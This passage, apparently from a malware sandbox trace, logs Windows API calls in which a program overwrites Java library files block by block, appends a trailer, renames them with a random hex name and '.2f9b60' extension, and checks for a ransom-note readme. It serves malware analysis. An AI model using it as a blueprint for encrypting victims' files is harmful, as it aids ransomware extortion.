0x202a67d0 [0143.102] NtQuerySystemTime (in: CurrentTime=0x36aaf9a0 | out: CurrentTime=0x36aaf9a0*=132462177483478000) returned 0x0 [0143.102] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x13f12cec [0143.102] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0xc5307a7 [0143.102] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x16796880 [0143.102] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x244b8293 [0143.102] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x23575c0e [0143.102] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x1cc99ad1 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x4d899c01 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x7971928f [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x1ba6d757 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x5183fd8 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x336ee265 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x2db8aa34 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x35261828 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x33dd1a62 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x5f808d08 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0xa463b5b [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x726b7a17 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x6f84385e [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x747ff02e [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x566a1072 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x11d003ef [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x3d3cdede [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x1e52cd87 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0xefa076d [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0xea1514b [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x50c34cfa [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x5111411b [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x389b18e2 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x5381c26 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x464c707a [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x580a88a1 [0143.103] RtlRandomEx (in: Seed=0x36aaf990 | out: Seed=0x36aaf990) returned 0x3a23b2b0 [0143.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649e0 [0143.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59f30 [0143.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649b0 [0143.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59f30) returned 1 [0143.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67d0) returned 1 [0143.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62c0) returned 1 [0143.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4235b4e0 [0143.110] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.111] ReadFile (in: hFile=0x14fc, lpBuffer=0x4235b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36aafa00, lpOverlapped=0x0 | out: lpBuffer=0x4235b4e0*, lpNumberOfBytesRead=0x36aafa00*=0x3c00, lpOverlapped=0x0) returned 1 [0143.112] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0143.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59f30 [0143.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62c0 [0143.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62c0) returned 1 [0143.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4235f0f0 [0143.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a62c0 [0143.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67d0 [0143.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67d0) returned 1 [0143.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59f30) returned 1 [0143.113] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0143.113] WriteFile (in: hFile=0x14fc, lpBuffer=0x4235f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36aafa00, lpOverlapped=0x0 | out: lpBuffer=0x4235f0f0*, lpNumberOfBytesWritten=0x36aafa00*=0x3c00, lpOverlapped=0x0) returned 1 [0143.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4235f0f0) returned 1 [0143.494] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.494] ReadFile (in: hFile=0x14fc, lpBuffer=0x4235b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36aafa00, lpOverlapped=0x0 | out: lpBuffer=0x4235b4e0*, lpNumberOfBytesRead=0x36aafa00*=0x3c00, lpOverlapped=0x0) returned 1 [0143.501] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0143.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff490 [0143.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff490) returned 1 [0143.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4234c1b0 [0143.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff490 [0143.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff4f0 [0143.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff4f0) returned 1 [0143.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0143.503] WriteFile (in: hFile=0x14fc, lpBuffer=0x4234c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36aafa00, lpOverlapped=0x0 | out: lpBuffer=0x4234c1b0*, lpNumberOfBytesWritten=0x36aafa00*=0x3c00, lpOverlapped=0x0) returned 1 [0143.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4234c1b0) returned 1 [0143.511] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0xd6117, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.511] ReadFile (in: hFile=0x14fc, lpBuffer=0x4235b4e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36aafa00, lpOverlapped=0x0 | out: lpBuffer=0x4235b4e0*, lpNumberOfBytesRead=0x36aafa00*=0x3c00, lpOverlapped=0x0) returned 1 [0143.514] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0xd6117, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f60 [0143.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe230 [0143.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe230) returned 1 [0143.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4234c1b0 [0143.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe230 [0143.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd6c0 [0143.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd6c0) returned 1 [0143.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f60) returned 1 [0143.516] WriteFile (in: hFile=0x14fc, lpBuffer=0x4234c1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36aafa00, lpOverlapped=0x0 | out: lpBuffer=0x4234c1b0*, lpNumberOfBytesWritten=0x36aafa00*=0x3c00, lpOverlapped=0x0) returned 1 [0143.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4234c1b0) returned 1 [0143.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e800 [0143.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe230) returned 1 [0143.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff490) returned 1 [0143.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62c0) returned 1 [0143.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4235b4e0) returned 1 [0143.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a62c0 [0143.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd975d0 [0143.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a67d0 [0143.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67d0) returned 1 [0143.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202a67d0 [0143.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263ef0 [0143.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260ad0 [0143.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260ad0) returned 1 [0143.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd975d0) returned 1 [0143.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebc580 [0143.522] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0143.522] WriteFile (in: hFile=0x14fc, lpBuffer=0x1cebc580*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x36aafab0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc580*, lpNumberOfBytesWritten=0x36aafab0*=0x146, lpOverlapped=0x0) returned 1 [0143.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0143.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59e30 [0143.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7910 [0143.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7910) returned 1 [0143.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0143.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7910 [0143.713] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6320 [0143.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6320) returned 1 [0143.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0143.714] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0143.714] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f5b0 [0143.714] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="90") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="02") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="b7") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="34") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="81") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="c9") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="d8") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="d7") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="8b") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="cf") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="c3") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5c6, _Format="%c%c" | out: _Dest="1f") returned 2 [0143.714] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="12") returned 2 [0143.715] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="f1") returned 2 [0143.715] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="53") returned 2 [0143.715] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="46") returned 2 [0143.715] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="66") returned 2 [0143.715] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="0d") returned 2 [0143.715] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="e4") returned 2 [0143.715] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="57") returned 2 [0143.715] RtlInitAnsiString (in: DestinationString=0x36aafb28, SourceString="9002b73481c9d8d78bcfc31f12f15346660de457" | out: DestinationString="9002b73481c9d8d78bcfc31f12f15346660de457") [0143.715] RtlAnsiStringToUnicodeString (in: DestinationString=0x36aafaf8, SourceString="9002b73481c9d8d78bcfc31f12f15346660de457", AllocateDestinationString=1 | out: DestinationString="9002b73481c9d8d78bcfc31f12f15346660de457") returned 0x0 [0143.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd867f0 [0143.715] RtlFreeAnsiString (AnsiString="9") [0143.715] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0143.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0143.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7910) returned 1 [0143.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebc580) returned 1 [0143.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67d0) returned 1 [0143.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263ef0) returned 1 [0143.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a62c0) returned 1 [0143.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e800) returned 1 [0143.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0143.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649e0) returned 1 [0143.717] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649b0) returned 1 [0143.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1ce59e30 [0143.717] wcscat (in: _Dest=0x1ce59e30, _Source="9002b73481" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\9002b73481") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\9002b73481" [0143.717] wcscat (in: _Dest=0x1ce59e30, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\9002b73481.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\9002b73481.2f9b60" [0143.717] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\9002b73481.2f9b60", NtPathName=0x36aafad0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\9002b73481.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0143.717] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x20507210 [0143.718] NtSetInformationFile (FileHandle=0x14fc, IoStatusBlock=0x36aafb70, FileInformation=0x20507210, Length=0x8c, FileInformationClass=0xa) returned 0x0 [0144.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507210) returned 1 [0144.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e20) returned 1 [0144.063] NtQueryInformationFile (in: FileHandle=0x14fc, IoStatusBlock=0x36aafb38, FileInformation=0x36aafb48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36aafb38, FileInformation=0x36aafb48) returned 0x0 [0144.063] NtSetInformationFile (FileHandle=0x14fc, IoStatusBlock=0x36aafb38, FileInformation=0x36aafb48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0144.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59e30) returned 1 [0144.071] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd867f0) returned 1 [0144.072] FlushFileBuffers (hFile=0x14fc) returned 1 [0144.083] CloseHandle (hObject=0x14fc) returned 1 [0144.085] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59b30 [0144.085] wcscpy (in: _Dest=0x1ce59b30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\" [0144.085] wcscat (in: _Dest=0x1ce59b30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" [0144.085] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\2f9b60-readme.txt")) returned 0x20 [0147.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59b30) returned 1 [0147.320] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863ea0) returned 1 Thread: id = 2082 os_tid = 0x13a4 [0138.397] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jce.jar")) returned 0x20 [0139.793] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar", dwFileAttributes=0x20) returned 1 [0140.818] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jce.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fdc [0140.858] GetFileSizeEx (in: hFile=0x1fdc, lpFileSize=0x36bdfe00 | out: lpFileSize=0x36bdfe00*=109196) returned 1 [0140.858] SetFilePointerEx (in: hFile=0x1fdc, liDistanceToMove=0x1aa88, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.858] ReadFile (in: hFile=0x1fdc, lpBuffer=0x36bdfd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36bdfdc8, lpOverlapped=0x0 | out: lpBuffer=0x36bdfd80*, lpNumberOfBytesRead=0x36bdfdc8*=0x4, lpOverlapped=0x0) returned 1 [0140.860] SetFilePointerEx (in: hFile=0x1fdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdcf0 [0140.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd20 [0140.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd50 [0140.861] NtQuerySystemTime (in: CurrentTime=0x36bdfcc0 | out: CurrentTime=0x36bdfcc0*=132462177461014000) returned 0x0 [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x5f47a2dc [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x13dd4f2c [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x7a26c9dc [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x771e6b92 [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x2762a109 [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x12810522 [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x16a03f9a [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x7b885002 [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x52fd0cc8 [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x4a4e1053 [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x2234e0fe [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x58d3d3c3 [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x515f60aa [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x588547bc [0140.861] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x432a1ef1 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x42972548 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x1f0a2244 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x5fabb6af [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x3b2bbbd4 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0xb428c93 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x48401070 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x7d55f259 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0xcc464ad [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x251a32d0 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x2c376f00 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x59840022 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0xd56c7b5 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x6359bce1 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x411b1c01 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x45ed2768 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x7bfc70d9 [0140.862] RtlRandomEx (in: Seed=0x36bdfcb0 | out: Seed=0x36bdfcb0) returned 0x70cc4dda [0140.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdd80 [0140.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061830 [0140.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fddb0 [0140.872] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061830) returned 1 [0140.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdd50) returned 1 [0140.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fdcf0) returned 1 [0140.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421e1180 [0140.873] SetFilePointerEx (in: hFile=0x1fdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.873] ReadFile (in: hFile=0x1fdc, lpBuffer=0x421e1180, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36bdfd20, lpOverlapped=0x0 | out: lpBuffer=0x421e1180*, lpNumberOfBytesRead=0x36bdfd20*=0x3c00, lpOverlapped=0x0) returned 1 [0141.090] SetFilePointerEx (in: hFile=0x1fdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0141.090] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0141.090] 